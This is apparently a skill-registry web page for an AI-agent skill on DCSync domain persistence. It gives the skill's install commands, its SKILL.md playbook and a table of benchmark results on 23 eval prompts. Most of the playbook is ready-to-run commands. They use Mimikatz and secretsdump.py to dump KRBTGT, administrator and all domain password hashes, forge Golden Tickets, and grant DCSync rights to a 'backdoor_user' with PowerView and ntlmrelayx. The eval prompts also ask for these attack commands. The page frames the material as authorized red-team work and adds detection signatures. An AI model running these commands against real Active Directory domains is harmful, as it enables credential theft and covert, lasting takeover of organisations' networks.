Ready to supercharge your AI agents?

Install any skill in seconds. Free to start, no credit card required.

Conducting Domain Persistence with DCSync · mukul975 | DecimalAI

Conducting Domain Persistence With Dcsync

SkillScore22Maintained

conducting-domain-persistence-with-dcsync

Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.

Securityby mukul975

Links this skill to your agents and keeps it current with the author’s updates.

Automatic

Security & AppSec pack

1 · One-time — install the CLI (docs ↗)

pip install decimalai

2 · Get the skill — writes .claude/skills/conducting-domain-persistence-with-dcsync/SKILL.md

decimalai skills pull conducting-domain-persistence-with-dcsync --out .claude/skills/

No CLI? Get the same file — curl · raw file

curl -fsSL --create-dirs -o .claude/skills/conducting-domain-persistence-with-dcsync/SKILL.md https://app.decimal.ai/s/conducting-domain-persistence-with-dcsync/SKILL.md

Raw file: /s/conducting-domain-persistence-with-dcsync/SKILL.md ↗ · machine-readable summary at /s/conducting-domain-persistence-with-dcsync.json ↗

In productionGlobal

how this skill behaves on real traffic · last 30 days

No production data for this skill yet — usage numbers appear here once agents start running it.

Anonymized aggregate across every org using this skill — proof from real production use, not a demo.

Does this skill help? · Benchmark: with vs. withoutsign in to run this on your agents

23 test cases from the publisher’s eval.yaml · each run twice on gemini-3.6-flash — with the skill injected, then without · last run 55d ago

Yes — +13% lift · at higher cost+137% tokens0% turns22% of whole cases pass with skill (5/23)

Test case	Without → With	Effect	Δ tokens	Δ turns
case-21	✗→✓	▲ Improved	—	—
case-11	✗→✓	▲ Improved	—	—
case-01	✗→✓	▲ Improved	—	—
case-10	✓→✓	＝ Same ✓	—	—
case-03	✓→✓	＝ Same ✓	—	—

Showing 5 of 23 cases

SkillSafety

✓ 3 of 3 passed

Code scan15 of 15 checks clean

0 critical · 0 warning · 0 info — scanner v4 — 7/30/2026

live_secretremote_code_executionreverse_shelldata_exfiltrationssrf_metadataagent_snoopinganti_refusaldestructive_commandsobfuscated_unicodeunicode_homoglyphopaque_blobsuspicious_urltool_overreachtrigger_abuseprompt_injection_phrasing

IntentSafe

LLM judge · does the skill do what it claims

ContentClean

LLM judge · policy & harmful-content review

Source

Imported

mukul975 / Anthropic-Cybersecurity-Skills

skills/conducting-domain-persistence-with-dcsync/SKILL.md

View on GitHub ↗

License Apache-2.0Imported 8/8/2026Version v1Bundled 6 files · scripts

Skill contents

scripts/

references/

assets/

SKILL.md

Conducting Domain Persistence with DCSync

> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.

When to Use

When conducting security assessments that involve conducting domain persistence with dcsync
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with red teaming concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Objectives

Identify accounts with DCSync (replication) rights in Active Directory
Perform DCSync using Mimikatz or Impacket's secretsdump.py
Extract the KRBTGT account hash for Golden Ticket creation
Dump all domain user password hashes for credential analysis
Forge Golden Tickets for persistent domain access
Grant DCSync rights to a controlled account for alternative persistence
Document the attack chain and persistence mechanisms

MITRE ATT&CK Mapping

T1003.006 - OS Credential Dumping: DCSync
T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
T1222.001 - File and Directory Permissions Modification: Windows
T1098 - Account Manipulation
T1078.002 - Valid Accounts: Domain Accounts

Workflow

Phase 1: Identify Accounts with DCSync Rights

Enumerate principals with replication rights:

powershell # Using PowerView Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { ($_.ObjectAceType -match 'Replicating') -and ($_.ActiveDirectoryRights -match 'ExtendedRight') } | Select-Object SecurityIdentifier, ObjectAceType

# Using BloodHound Cypher query MATCH (u)-:DCSync|GetChanges|GetChangesAll1..]->(d:Domain) RETURN u.name, d.name

Using Impacket's FindDelegation or custom LDAP query:

bash # Check with Impacket findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1

Default accounts with DCSync rights:

Domain Admins
Enterprise Admins
Domain Controllers group
SYSTEM on Domain Controllers

Phase 2: DCSync Credential Extraction

Using Mimikatz (Windows):

powershell # Dump specific account (KRBTGT for Golden Ticket) mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"

# Dump Domain Admin mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"

# Dump all domain accounts mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"

Using Impacket secretsdump.py (Linux):

bash # Dump all credentials secretsdump.py domain.local/admin:'Password123'@10.10.10.1

# Dump specific user secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1

# Dump only NTLM hashes (no Kerberos keys) secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1

# Using Kerberos authentication export KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local

Phase 3: Golden Ticket Creation

Using Mimikatz with extracted KRBTGT hash:

powershell # Create Golden Ticket mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> /ptt"

# Create with specific group memberships mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX \ /krbtgt:<krbtgt_ntlm_hash> \ /groups:512,513,518,519,520 /ptt"

Using Impacket ticketer.py (Linux):

bash # Create Golden Ticket ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \ -domain domain.local administrator

# Use the ticket export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass domain.local/administrator@DC01.domain.local

Phase 4: Persistence via DCSync Rights

Grant DCSync rights to a controlled account for persistence:

powershell # Using PowerView - Add DS-Replication-Get-Changes-All rights Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \ -PrincipalIdentity backdoor_user -Rights DCSync

# Verify rights were added Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }

Using ntlmrelayx.py for automated DCSync rights escalation:

bash # Relay authentication to add DCSync rights ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user

Tools and Resources

| Tool | Purpose | Platform | |------|---------|----------| | Mimikatz | DCSync extraction, Golden Ticket creation | Windows | | secretsdump.py | Remote DCSync (Impacket) | Linux (Python) | | ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) | | PowerView | ACL enumeration and modification | Windows (PowerShell) | | Rubeus | Kerberos ticket manipulation | Windows (.NET) | | ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |

Critical Hashes to Extract

| Account | Purpose | Persistence Value | |---------|---------|-------------------| | krbtgt | Golden Ticket creation | Indefinite domain access | | Administrator | Direct DA access | Immediate privileged access | | Service accounts | Lateral movement | Service access across domain | | Computer accounts | Silver Ticket creation | Service-level impersonation |

Detection Signatures

| Indicator | Detection Method | |-----------|-----------------| | DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs | | Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) | | Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users | | ACL modifications on domain root object | Event 5136 (directory service changes) | | Replication traffic volume spike | Network baseline deviation monitoring |

Validation Criteria

] Accounts with DCSync rights enumerated
] KRBTGT hash extracted via DCSync
] All domain credentials dumped successfully
] Golden Ticket forged and validated for DA access
] DCSync rights persistence mechanism established (if in scope)
] Access to Domain Controller validated with Golden Ticket
] Evidence documented with hash values and timestamps
] Remediation recommendations provided (double KRBTGT reset, ACL audit)

Illustrative Want to see what conducting-domain-persistence-with-dcsync would put in front of your model? Preview the rendered body and check its trigger phrases — no LLM call, no signup.

Latest benchmark · publisher runVerified

7/28/2026, 00:36 UTC · 23 cases

Lift

+13%

22% vs 9%

Agent turns

1.0 vs 1.0

Tokens

+137%

3,027.23 vs 1,280.05

fail → pass · 3pass → pass · 2fail → fail · 18

Per-case results (23)

Case	Status	Duration (ms)			Turns			Tokens			Tool calls
Case	Status	Without	With	Δ	Without	With	Δ	Without	With	Δ	Without	With	Δ
case-21 An operator on a compromised Windows Server 2019 member server wants to dump plaintext credentials and NTLM hashes directly from the Local Security Authority Subsystem Service (LSASS) process memory using Mimikatz. Provide the Mimikatz commands required to enable debug privileges and dump logon passwords from memory.	fail→pass	—	—	—	—	—	—	—	—	—	—	—	—
case-18 If an incident responder confirms that an attacker successfully extracted the `krbtgt` hash via DCSync and forged a Golden Ticket, what specific remediation procedure must be performed on the `krbtgt` account to invalidate existing Golden Tickets, and why must it be done in a specific way?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-23 System administrators want to back up the Active Directory database file (`ntds.dit`) directly from a Domain Controller's disk using native Windows Volume Shadow Copy Service commands. What native Windows command creates a shadow copy of drive C:, and where is `ntds.dit` located on the file system by default?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-08 When forging a Kerberos Golden Ticket with Mimikatz, an operator wants the forged ticket to grant membership in specific default administrative groups, such as Domain Admins (512), Domain Users (513), Schema Admins (518), Enterprise Admins (519), and Group Policy Creator Owners (520). Which command-line option in Mimikatz kerberos::golden specifies these Relative IDs (RIDs)?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-13 When an attacker grants DCSync permissions to a controlled backdoor account on the domain root object, Active Directory logs the directory service modification. Which Windows Security Event ID records modifications to Active Directory object permissions or access control lists?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-20 On a Windows target where Mimikatz is blocked by Endpoint Detection and Response, an operator uses C# tooling to load a Kerberos Golden Ticket into current memory. Which tool from the GhostPack suite performs Kerberos ticket operations, and what command or module injects the ticket into memory?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-11 During an internal network penetration test, an attacker captures an SMB authentication attempt from a privileged server and wants to relay it to Domain Controller `DC01.corp.local` over LDAP to automatically grant DCSync rights to a low-privileged account named `backdoor_user`. What tool from the Impacket suite should be used, and what specific flag triggers user privilege escalation?	fail→pass	—	—	—	—	—	—	—	—	—	—	—	—
case-05 We are assessing an enterprise Active Directory domain using Linux-based pentesting tools. When extracting hashes via DCSync with Impacket, the default behavior attempts to pull Kerberos keys (AES256, AES128, DES) alongside NTLM hashes, producing large terminal outputs. The operator wants to restrict secretsdump.py output strictly to NTLM hashes. Which flag forces secretsdump.py to dump only NTLM hashes?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-12 A Security Operations Center (SOC) team wants to create a SIEM rule to detect unauthorized DCSync operations occurring against Active Directory Domain Controllers. Which Windows Security Event ID must be monitored on Domain Controllers, and what specific Extended Right GUIDs associated with directory replication should be tracked in the event details?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-09 An operator working from a Linux host needs to generate a Kerberos Golden Ticket for account `administrator` in domain `corp.local` with domain SID `S-1-5-21-1122334455-6677889900-123456789` using the extracted KRBTGT NT hash (`0123456789abcdef0123456789abcdef`). Which Impacket tool and associated CLI parameters should be used to build the CCACHE file?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-10 A security analyst is writing a custom Cypher query for BloodHound to identify all user nodes that possess a path allowing DCSync execution (combining GetChanges and GetChangesAll rights) to any Domain node. Write the Cypher MATCH query.	pass→pass	—	—	—	—	—	—	—	—	—	—	—	—
case-14 When DCSync is executed, the client impersonates a Domain Controller using Microsoft's Directory Replication Service Remote Protocol. What specific RPC method call within the DRSUAPI interface is initiated across the network to request directory replication payload data?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-07 After obtaining the KRBTGT NTLM hash and domain SID (`S-1-5-21-123456789-987654321-111111111`) in domain `corp.local`, an operator wants to forge a Golden Ticket for user `administrator` using Mimikatz and inject it directly into the current logon session memory without saving it as a `.kirbi` file to disk. Provide the complete Mimikatz command line that achieves this.	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-16 An operator on a Linux attacking machine wants to perform LDAP enumeration against domain `corp.local` at IP `10.10.10.1` using credentials `user:Password123` to discover delegation rights and administrative privileges. Which script in the Impacket collection provides built-in enumeration for Active Directory delegation paths?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-22 A penetration tester wants to request Kerberos TGS service tickets for all user accounts with Service Principal Names set in domain `corp.local` using an Impacket tool from a Linux system. What script is used for Kerberoasting, and how is it invoked with domain credentials `corp.local/user:Password123` at DC IP `10.10.10.1`?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-06 A red team operator on a Linux system has already acquired a Kerberos ticket granting service/TGT saved in a ccache file (`KRB5CCNAME=admin.ccache`). They want to execute secretsdump.py against DC `DC01.corp.local` using this ticket without prompting for or passing a plaintext password. Which flags must be supplied to secretsdump.py to instruct it to perform Kerberos authentication and omit password prompts?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-15 During a DCSync operation, red teams typically target two primary accounts: `krbtgt` and `Administrator`. Compare the primary persistence mechanism enabled by obtaining the `krbtgt` account hash versus obtaining a standard `Administrator` account hash.	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-19 Map the DCSync credential dumping technique and the Golden Ticket forgery technique to their respective sub-technique IDs under the MITRE ATT&CK framework.	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-01 I need a PowerShell execution plan using PowerView to first discover all Active Directory objects that currently hold directory replication extended rights. Following the audit, show how to assign DCSync privileges to a specific backdoor account for persistence testing. Format your response with separate sections for discovery and rights assignment.	fail→pass	—	—	—	—	—	—	—	—	—	—	—	—
case-04 An analyst running a Linux assessment platform needs to extract the NT hash for user 'krbtgt' from Domain Controller 10.0.0.5 across domain 'corp.local' using Python Impacket tooling. The operator wants to avoid dumping the entire Active Directory NTDS database to minimize network traffic and log clutter. What specific flag should be passed to secretsdump.py to filter extraction down to only this single DC user?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-02 We are executing an authorized security assessment against an Active Directory domain named corp.internal. An operator needs to extract only the KRBTGT account's credential hash via Active Directory replication protocol using Mimikatz on a Windows workstation. Standard operators often run privilege::debug and lsadump::sam, but we specifically need the remote DC replication command. Provide the exact Mimikatz command line.	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-03 During an audit of domain persistence risks, our team needs to perform a full domain credential dump via DCSync using Mimikatz and format the output as CSV for post-processing in an automated pipeline. Operators usually default to dumping to standard output without formatting parameters. Specify the Mimikatz lsadump::dcsync syntax required to dump all domain user accounts directly in CSV format.	pass→pass	—	—	—	—	—	—	—	—	—	—	—	—
case-17 During an Active Directory security audit, an administrator asks which built-in groups and principals possess DCSync rights by default in a standard Active Directory installation. Name four default principals or groups that hold these rights without custom configuration.	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—

These cases were also screened by the skill’s intent / safety pass.See the Trust review ↗Reproduce this benchmark in Colab ↗

How this skill was measured

DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted, and 22 counted toward the lift figure. The other 1 produced results that are not comparable between the two arms, so they are excluded from the headline rather than averaged into it. The headline lift of +13 percentage points is the difference between those two pass rates over the 22 comparable cases.

Model measured: gemini-3.6-flash
Graded by: gemini-3.6-flash
Grading method: judged
Verification: verified
Pass rate without the skill: 8.7%
Pass rate with the skill: 21.7%
Cases attempted: 23
Cases counted toward lift: 22
Cases that regressed: 0
Skill version measured: v1
Run completed: 7/28/2026, 00:36 UTC

The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.

SkillScore blends 4 signals1 of 4 complete

BenchmarkPass rate WITH skill on a verified run22

Live evalNeeds ≥10 evaluated traces in 30 days

AI ratingNeeds ≥10 rated traces

AdoptionNeeds ≥10 serves across ≥2 orgs in 30 days

Efficiency · separate axis (at equal correctness)+0% turns+74% tokens

Shown for transparency; not credited unless a verified run shows no correctness regression.

Backed by 1 of 4 signals — each added signal makes the score more robust.

Verified on gemini-3.6-flash · re-tested 55 days ago

Other measured skills in the registry, with their headline benchmark lift.